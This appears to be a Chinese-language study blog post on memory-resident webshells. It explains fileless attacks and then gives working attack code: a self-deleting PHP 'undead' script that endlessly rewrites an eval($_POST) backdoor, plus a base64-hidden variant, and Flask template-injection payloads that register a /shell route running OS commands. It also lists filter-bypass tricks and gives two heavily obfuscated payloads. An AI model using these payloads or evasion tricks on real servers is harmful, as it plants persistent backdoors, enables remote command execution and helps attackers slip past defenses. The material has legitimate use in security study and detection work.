内存马
内存马
基础
前置知识
-
webshell-
理解:
web的含义是需要服务器开放web服务,shell的含义是取得对服务器某种程度上操作权限。综合起来可以说是一种网站后门。 -
变迁过程:web服务器管理页面 ——> 大马 ——> 小马拉大马 ——> 一句话木马 ——> 加密一句话木马 ——> 加密内存马。
-
-
无文件攻击:无文件攻击属于高级持续性威胁(APT)的一种。与大多数恶意软件不同,无文件攻击并不会在目标计算机的硬盘中留下蛛丝马迹,而是直接将恶意代码写入内存或注册表中。由于没有病毒文件,传统基于文件扫描的防病毒软件很难侦测到它们的存在。然而,无文件攻击的定义已经逐渐扩大化,那些需要依靠文件系统的某些功能来实现激活或驻留的恶意软件也已经包括在了无文件攻击的范畴中。
内存马
内存马,也被称为无文件马,是无文件攻击的一种常用手段。由于传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,内存马使用越来越多。
实现
Java
由于本人Java技能缺失,所以等再学学,先看Python和PHP。
PHP
PHP内存马,又称PHP不死马,简单来说就是会写进PHP进程里,无限在指定目录中生成木马文件。
具体实现如下:
-
初代:暴露危险命令,但是基本思想体现的最明显,即构建无限循环将一句话木马不断写入目标文件。
<?php // 设置允许脚本运行的时间,如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉。 // 这里设置为0是指没有时间限制. set_time_limit(0); // 函数设置与客户机断开是否会终止脚本的执行,如果设置为True,则忽略与用户的断开。 ignore_user_abort(1); // 删除文件本身,以起到隐蔽自身的作用。 unlink(__FILE__); // 无限循环写马 while (1) { $content = ‘<?php @eval($_POST[1]) ?>’; file_put_contents("shell.php", $content); usleep(10000); } ?> -
更新:利用base64编码隐藏代码内容,如下:
$content = base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWzFdKSA/Pg=='); //<?php @eval($_POST[1]) ?>编码
Python
Python的内存马主要是flask框架的渲染时未对用户输入严格过滤导致的(其实和SSTI很像),本质上的手法就是通过特定函数注册路由作为webshell。
直接上payload:
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read()
)",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)
关于payload:
首先解释一下app.add_url_rule方法:
-
在
flask中,给一个函数添加url的时候,只需要使用装饰器@app.route('<url>')装饰对应的函数就可以了。查看app.route()源码发现,这个装饰器内部调用方法self.add_url_rule,这里的self就是app这个实例对象。
-
继续跟进看到该方法有三个主要参数:
rule代表url规则,必须以/开头;endpoint代表站点,默认值为函数名;view_func则代表函数名,此外还可以传入methods参数(一个列表)指定访问方式。
回到payload中,第一行很好理解,通过已有模块调eval方法,然后第一个参数就是调用的app.add_url_rule方法,该方法的第三个参数也就是路由对应的函数由lambda函数实现,即执行获取到的cmd参数。
继续,eval函数的第二个参数是一个可选的字典,用于指定代码执行时的全局命名空间(globals)。如果提供了这个参数,eval会在执行代码时使用这个字典作为全局变量环境。显然在payload中指定了_request_ctx_stack和app两个全局变量,其中_request_ctx_stack是flask中用于管理请求上下文的对象、app是flask应用实例,该参数确保二者都可以被正确找到。
但是显然这种方式一定会遇到各种过滤被干掉,于是接下来说说Bypass的一些方式(可以类比SSTI,此处列举一部分):
-
url_for被ban:可替换为get_flashed_messages或者request.__init__或者request.application。 -
代码执行函数替换, 如
exec替换eval. -
字符串可采用拼接方式, 如
['__builtins__']['eval']变为['__bui'+'ltins__']['ev'+'al']。 -
__globals__可用__getattribute__('__globa'+'ls__')替换。 -
[]可用.__getitem__()或.pop()替换. -
过滤
{{、}}, 可以使用{%、%}绕过。 -
过滤
_可以用编码绕过, 如__class__替换成\x5f\x5fclass\x5f\x5f。 -
过滤了
.可以采用attr()或[]绕过。
这里挂两个改写后的payload:
request.application.__self__._get_data_for_json.__getattribute__('__globa'+'ls__').__getitem__('__bui'+'ltins__').__getitem__('ex'+'ec')("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())",{'_request_ct'+'x_stack':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('_request_'+'ctx_stack'),'app':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('curre'+'nt_app')})
get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("__builtins__")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0065\u0076\u0061\u006c")("app.add_ur"+"l_rule('/shell', 'shell', la"+"mbda :__imp"+"ort__('o"+"s').po"+"pen(_request_c"+"tx_stack.to"+"p.re"+"quest.args.get('cmd')).re"+"ad())",{'\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b"),'app':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070")})
以上就是Python内存马最初的样子,紧接着而来的就是面对修复后的flask产生的新版内存马。
先挂一个失败的状态:

回过来思考(看大佬的文章哈)其实Python内存马做的事情就是利用未check的特定方法注册路由,所以可以去别的修饰器里面找实现类似注册路由的事情,所有就有了接下来对before_request和after_request的利用。
参考文章
https://developer.aliyun.com/article/1464931#:~:text=简介: 无文件攻击是高级持续性威胁的一种,不依赖硬盘上的文件,而是利用内存、注册表或硬件固件实施。 这些攻击难以被传统防病毒软件检测到,包括通过文件漏洞、网络通信、硬件后门(如BIOS、CPU、USB)等方式进行。,检测方法涉及监控内存、系统行为、日志和配置。 防护措施包括限制系统工具执行、打补丁、使用安全软件及应用白名单策略。 了解其手法对于提升网络安全至关重要。
https://www.freebuf.com/articles/web/274466.html
https://www.freebuf.com/articles/web/343328.html
https://blog.csdn.net/weixin_54648419/article/details/119602107
https://blog.csdn.net/xujin0/article/details/97372499
https://xz.aliyun.com/news/10381?time__1311=eqUxRDgiqQwx9GDlxGrFDnioWn7TOG1oD&u_atoken=6dba0a56871627eec7cf5c5cf157e053&u_asig=1a0c380817407091072524547e0032
https://www.cnblogs.com/gxngxngxn/p/18181936
https://blog.csdn.net/Mssqj/article/details/144249327
https://xz.aliyun.com/news/13858?u_atoken=71b85e02a15b807319b070bbeaa763e7&u_asig=1a0c381017407148043588300e00e6

浙公网安备 33010602011771号